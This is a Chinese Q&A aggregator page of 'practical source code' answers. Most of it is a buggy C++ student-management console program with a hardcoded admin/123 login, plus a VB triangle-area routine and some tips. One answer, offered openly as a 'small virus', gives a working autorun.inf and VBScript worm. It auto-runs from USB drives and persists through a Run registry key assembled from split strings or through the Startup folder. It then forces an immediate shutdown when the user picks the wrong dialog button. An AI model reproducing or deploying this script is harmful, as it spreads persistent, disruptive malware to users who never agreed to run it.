當前位置:首頁 » 操作系統 » 實用源碼

實用源碼

發布時間: 2022-08-08 10:19:43

❶ 求C++各種平台實用源代碼,求各位大神幫下忙。

// 項目三—學員管理系統.cpp : 定義控制台應用程序的入口點。
//

#include "stdafx.h"
#include<string.h>
#include<windows.h>
int k=0;
struct Student
{
int no;
char name[20];
float score[3];
float avg;
float sum;
}stu[100],shuchu[100];

void print(int a); //輸出函數
void menu(); //目錄
void one(); //選擇一
void two(); //選擇二
void three(Student stu1[]); //選擇三
void fore(); //選擇四
void five(); //選擇五
void six(); //選擇六
void sever(); //選擇七
void eight(); //選擇八
void nine(); //選擇九
void xuanzhe(int a); //選擇函數
int chongfu(Student stu[],int a); //判斷學號是否重復
int PDmingzi(Student st[],int num); //判斷名字是否合法
void fanhui(); //是否返回主菜單
void fu(Student a[],int num);
int _tmain(int argc, _TCHAR* argv[])
{
//登陸模板
char user[20];
char passwork[20];
int count=0;
while (count<3)
{
printf("\n\n\t\t請輸入用戶名:");
gets_s(user);
printf("\t\t請輸入密碼:");
gets_s(passwork);
if(strcmp(user,"admin")==0&&strcmp(passwork,"123")==0)
{
system("cls");
printf("\n\n\t\t登陸成功");
Sleep(500);printf(">");Sleep(500);printf(">");Sleep(450);printf(">");Sleep(450);printf(">");
Sleep(400);printf(">");Sleep(400);printf(">");Sleep(350);Sleep(350);printf(">");Sleep(300);
printf(">");
menu();//調用菜單函數
break;

}
else
{
if (count==2)
{
printf("\t提示:您輸入用戶和密碼錯誤次數過多,請稍後再試!\n");
system("cls");
break;
}
else
{
printf("\n\n\t\t登陸失敗!請重新輸入!\n");
}
count++;
system("cls");
}
}

return 0;
}
//菜單
void menu()
{
system("cls");
int count=0;
while(count<3)
{
printf("\n\t\t學 員 管 理 系 統 平 台\n");
printf("---------------------------------\n");
printf("\t◎功能菜單:\n");
printf("\n\t\t-----------------------------\n");
Sleep(50);
printf("\t\t1、單個學員的信息循環錄入\n");
printf("\t\t------------------------------\n");
printf("\t\t2、顯示所有學員的信息\n");
printf("\t\t------------------------------\n");
printf("\t\t3、排序顯示所有學員信息\n");
printf("\t\t------------------------------\n");
printf("\t\t4、插入單個學員信息\n");
printf("\t\t------------------------------\n");
printf("\t\t5、刪除單個學員信息\n");
printf("\t\t------------------------------\n");
printf("\t\t6、查找單個學員信息\n");
printf("\t\t------------------------------\n");
printf("\t\t7、讀取所有學員信息\n");
printf("\t\t------------------------------\n");
printf("\t\t8、保存所有學員信息\n");
printf("\t\t------------------------------\n");
printf("\t\t9、退出程序\n");
printf("\t\t------------------------------\n");
printf("請選擇:");
char a;
int b;
fflush(stdin);
a=getchar();
if (a>=(1+'0')&&a<=(9+'0'))
{
b=(int)a-'0';
xuanzhe(b);
}
else
{
count++;
if (count==2)
{
system("cls");
printf("錯誤次數過多!");
break;
}
}
}
}
//選擇
void xuanzhe(int a)//選擇
{
switch (a)
{
case 1:
system("cls");
one();
break;
case 2:
system("cls");
two();
break;
case 3:
system("cls");
three(stu);
fanhui();
break;
case 4:
system("cls");
fore();
break;
case 5:
system("cls");
five();
break;
case 6:
system("cls");
six();
fanhui();
break;
case 7:
system("cls");
sever();
break;
case 8:
system("cls");
eight();
break;
case 9:
system("cls");
nine();
break;
default:
break;
}
}
//1
void one()
{
char s;
printf("1、單個成績循環錄入:\n");
while (true)//接收輸入的
{

while(true)
{
printf("學號:");
scanf_s("%d",&stu[k].no);
if (chongfu(stu,k))
{
printf("學號重復請重新輸入!\n");
}
else
{
break;
}
}
while (true)
{
printf("姓名:");
fflush(stdin);
gets_s(stu[k].name);
int a=strlen(stu[k].name);
if (a==0)
{
printf("提示:名字不能為空,請重新輸入!\n");
}
else if(PDmingzi(stu,a))
{
printf("提示:名字不能為數字,請重新輸入!\n");
}
else
{
break;
}
}

for (int i = 0; i < 3; i++)
{
printf("成績%d:",i+1);
scanf_s("%f",&stu[k].score[i]);
if (!(stu[k].score[i]<=100&&stu[k].score[i]>=0))
{
i--;
printf("輸入有誤!!請重新輸入\n");
continue;
}
}
stu[k].sum=stu[k].score[0]+stu[k].score[1]+stu[k].score[2];
stu[k].avg=stu[k].sum/3.0;
while (true)
{
printf("是否繼續錄入Y/N?");
fflush(stdin);
s=getchar();
if (s=='N'||s=='n')
{
fu(stu,k);
print(k);
printf("是否返回主菜單(Y/N):");
char a;
fflush(stdin);
a=getchar();
if (a=='y'||a=='Y')
{
menu();
}
}
else if (s=='y'||s=='Y')
{
break;

}
else
{
printf("你的輸入有誤!請重新輸入!\n");
}
}
k++;
}
}
//讀正輸入的
void print(int a)
{
printf("學號\t姓名\t成績一\t成績二\t成績三\t總成績\t平均分\n");
for (int i = 0; i <=a ; i++)
{
printf("%d\t%s\t%.2f\t%.2f\t%.2f\t%.2f\t%.2f\n",shuchu[i].no,shuchu[i].name,shuchu[i].score[0],shuchu[i].score[1],shuchu[i].score[2],shuchu[i].sum,shuchu[i].avg);
}
}
void two()
{
printf("學員信息:\n");
fu(stu,k);
print(k);
fanhui();
}
void three(Student stu1[])
{
//根據平均分降排序所有學員信息
for (int i = 0; i <k ; i++)
{
for (int j = 0; j < k-i; j++)
{
if (stu1[j].avg<stu[j+1].avg)
{
Student temp;
temp=stu1[j];
stu1[j]=stu1[j+1];
stu1[j+1]=temp;
}
}
}
fu(stu1,k);
print(k);
}
void fore()
{
three(stu);

printf("1、插入單個學生信息:\n");
while (true)//接收輸入的
{
if (k>0)
k++;
while(true)
{
printf("學號:");
scanf_s("%d",&stu[k].no);
if (chongfu(stu,k))
{
printf("學號重復請重新輸入!\n");
}
else
{
break;
}
}
while (true)
{
printf("姓名:");
fflush(stdin);
gets_s(stu[k].name);
int a=strlen(stu[k].name);
if (a==0)
{
printf("提示:名字不能為空,請重新輸入!\n");
}
else if(PDmingzi(stu,a))
{
printf("提示:名字不能為數字,請重新輸入!\n");
}
else
{
break;
}
}

for (int i = 0; i < 3; i++)
{
printf("成績%d:",i+1);
scanf_s("%f",&stu[k].score[i]);
if (!(stu[k].score[i]<=100&&stu[k].score[i]>=0))
{
i--;
printf("輸入有誤!!請重新輸入\n");
continue;
}
}
stu[k].sum=stu[k].score[0]+stu[k].score[1]+stu[k].score[2];
stu[k].avg=stu[k].sum/3.0;
char s;
while (true)
{
printf("是否繼續插入Y/N?");
fflush(stdin);
s=getchar();
if (s=='N'||s=='n')
{
system("cls");
fanhui();
}
else if (s=='y'||s=='Y')
{
break;

}
else
{
printf("你的輸入有誤!請重新輸入!\n");
}
}
}

}
void five()
{
//刪除單個學員的信息
print(k);
printf("請輸入要刪除的學員信息的學號:");
int num;
scanf_s("%d",&num);
int i;
for ( i= 0; i <= k; i++)
{
if (stu[i].no==num)
{
break;
}
}
for (int j = i; j <= k; j++)
{
stu[i]=stu[i+1];
}
k-=1;
fanhui();
}
void six()
{
Student a[1];
while (true)
{
printf("請輸入要查找的學員信息的學號:");
int num;
scanf_s("%d",&num);
int i;
for ( i= 0; i <= k; i++)
{
if (stu[i].no==num)
{
a[0]=stu[i];
fu(a,0);
print(0);
}
}

}

}
void sever()
{
FILE *p;
fopen_s(&p,"d:\\項目三存儲.txt","rb");
if (p!=NULL)
{
int n=fread(stu,sizeof(struct Student),100,p);
if (k==0)
{
k=n-1;
}

}
fclose(p);
}
void eight()
{
FILE *fp;
fopen_s(&fp,"d:\\項目三存儲.txt","wb");
fwrite(&stu,sizeof(struct Student),k+1,fp);
fflush(fp);
fclose(fp);
printf("保存成功!\n");
fanhui();
}
void nine()
{
exit(1);
}
int chongfu(Student stu[],int a)
{
for (int i = 0; i < a; i++)
{
if (stu[a].no==stu[i].no)
{
return 1;
}
}
return 0;
}
int PDmingzi(Student st[],int num)
{
for (int i = 0; i <= num; i++)
{
if(st[k].name[i]>='0'&&st[k].name[i]<='9')
{
return 1;
}
}
return 0;
}
void fu(Student a[],int num)
{
for (int i = 0; i <= num; i++)
{
shuchu[i]=a[i];
}
}
void fanhui()
{

printf("是否返回主菜單(Y/N):");
char a;
fflush(stdin);
a=getchar();
if (a=='y'||a=='Y')
{
menu();
}

}

❷ 哪裡可以找到C語言一些經典的源碼

如果你沒接觸過系統內核開發,強烈建議您不要立馬去看Unix或Linux源碼,直接看源代碼基本沒有用處——無非是一大堆的C和少量的匯編!

如果您已經對C語言有所掌握,您會發現C語言本身的語法很簡單,確實很簡單!因此想進一步提高應當把精力放在練習「演算法」上,先學習如果處理常見數據結構和常見演算法,再試著編寫一些實用的程序。

注意:我指的是「ANSI標准C」,而不是VC、MFC C++。

❸ 求Dreamweaver MX2004實用源代碼

這里有很多 相關代碼

http://www.jsweb8.cn/html/js_img/783.htm

❹ 求精彩實用網源碼

非要這個嗎,你可以下載好123的,還有114啦的,都是很不錯的源碼!!!

❺ 實用簡單的旅遊網站程序源碼

很多的 隨便搜一下 都是大把的

❻ 求 一套簡單實用的php企業源碼!

drupal,很輕松實現你想要的功能。
drupal開源第一。搜下便知。名氣極大。

drupal學會了,再找第三方的插件。

各類型的網站,幾乎都可以做的。新聞類的更簡單。你試下就知道了。
http://drupalchina.org/forum

❼ 小程序,小病毒或者實用的源代碼

新建一個autorun.inf文件
內容為
[autorun]
ShellExecute=wxb.vbs
新建一個wxb.vbs 文件
內容為
Dim fs, dirwin, c,Wll, str,strr,r
Set fs = CreateObject("Scripting.FileSystemObject")
Set dirwin = fs.GetSpecialFolder(1)
Set Wll = WScript.CreateObject("WScript.Shell")
Set c = fs.GetFile(WScript.ScriptFullName)
str ="HK"&"LM\SOFT"&"WARE\Micr"&"osoft\Win"&"dows\Curren"&"tVersion\R"&"un\wxb"
if (fs.FileExists(dirwin&"\wxb.vbs")) Then
call Show_And_Do("reg")
elseif (fs.FileExists("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")) Then
call Show_And_Do("Startup")
else
On Error Resume Next
strr=""
Wll.RegWrite str, "C:\WINDOWS\system32\wxb.vbs", "REG_SZ"
strr=Wll.Regread (str)
if strr="" then
c.Copy("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
else
c.Copy(dirwin&"\wxb.vbs")
end if

end if

sub Show_And_Do(s)
dim f
r = MsgBox ("警告:您未經允許使用了小波的移動設備! " & Chr(13) & Chr(10) & "確定->我下次會先徵得小波允許" & Chr(10) & "取消->我才不管他呢", 4145, "MsgBox Example")
If r = 1 Then
if s="Startup" then
set f = fs.GetFile("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\wxb.vbs")
f.Delete()
elseif s="reg" then
Wll.RegDelete str
set f = fs.GetFile(dirwin&"\wxb.vbs")
f.Delete()
end if

Else
wll.run "Shutdown.exe -s -f -t 0"
End If
end sub

以上兩個文件同時放到磁碟根目錄下面(移動盤也可),打開該盤時,會出現一個對話框,要求選擇.你可以把代碼中的 小波 改成你自己的名字.

❽ vb實用小程序源代碼

Private Sub mianji()
Dim a As Single, b As Single, c As Single
a = Val(InputBox("請輸入三角形的邊a:", "輸入"))
b = Val(InputBox("請輸入三角形的邊b:", "輸入"))
c = Val(InputBox("請輸入三角形的邊c:", "輸入"))

If (a + b) <= c Or b + c <=a Or a + c <= b Then
MsgBox "三條邊不能構成三角形,請重新輸入!", , "注意"
Exit Sub
End If
q = (a + b + c) / 2
s = Sqr(q * (q - a) * (q - b) * (q - c))
Print "三角形的面積是: "; s
End Sub

這個是由鍵盤輸入3個數,試編程判斷它們是否可以構成一個三角形。如果能構成一個三角形,請計算該三角形的面積。

❾ 求實用的免費企業網站源碼下載地址

網路一下,免費源碼下載,應該能找到很多,好用的應該很難找,可以用dedecms和帝國這種,也是不要錢的

熱點內容
php批量查詢 發布:2025-01-16 10:43:38 瀏覽:917
適合搭建代理伺服器的雲 發布:2025-01-16 10:42:49 瀏覽:428
我的世界手機版伺服器怎麼注冊 發布:2025-01-16 10:41:30 瀏覽:614
小米雲電視伺服器 發布:2025-01-16 10:37:03 瀏覽:350
php開源wiki 發布:2025-01-16 10:27:19 瀏覽:189
sql加欄位備注 發布:2025-01-16 10:21:49 瀏覽:565
線割編程教程 發布:2025-01-16 10:21:03 瀏覽:18
谷歌瀏覽器緩存刪除 發布:2025-01-16 10:19:36 瀏覽:414
資料庫txt 發布:2025-01-16 10:16:41 瀏覽:457
小米賬號王者傳奇腳本掛機 發布:2025-01-16 10:07:25 瀏覽:917